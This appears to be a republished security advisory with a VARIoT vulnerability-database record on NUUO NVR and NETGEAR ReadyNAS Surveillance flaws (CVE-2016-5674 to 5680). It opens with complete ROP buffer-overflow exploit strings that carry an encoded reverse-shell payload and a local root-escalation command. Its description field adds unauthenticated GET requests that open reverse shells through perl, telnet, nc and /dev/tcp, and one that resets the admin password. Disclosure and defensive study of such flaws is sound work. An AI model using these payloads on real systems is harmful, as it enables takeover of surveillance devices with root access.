Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0073",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.1.2"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.6 to 3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "x86 edition 1.1.2"
},
{
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2\u003e=21.7.6\u003c=3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.6,
"vendor": "netgear",
"version": "x861.1.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5680",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2016-5680",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2016-06320",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-94499",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2016-5680",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5680",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-5680",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2016-06320",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-273",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-94499",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2016-5680",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Stack-based buffer overflow in cgi-bin/cgi_main in NUUO NVRmini 2 1.7.6 through 3.0.0 and NETGEAR ReadyNAS Surveillance 1.1.2 allows remote authenticated users to execute arbitrary code via the sn parameter to the transfer_license command. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. A buffer overflow vulnerability exists in the NUUONVRmini21.7.6 to 3.0.0 version and the NetGearReadyNASSurveillancex861.1.2 version. An attacker could exploit the vulnerability to execute arbitrary code by sending a specially crafted request. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- 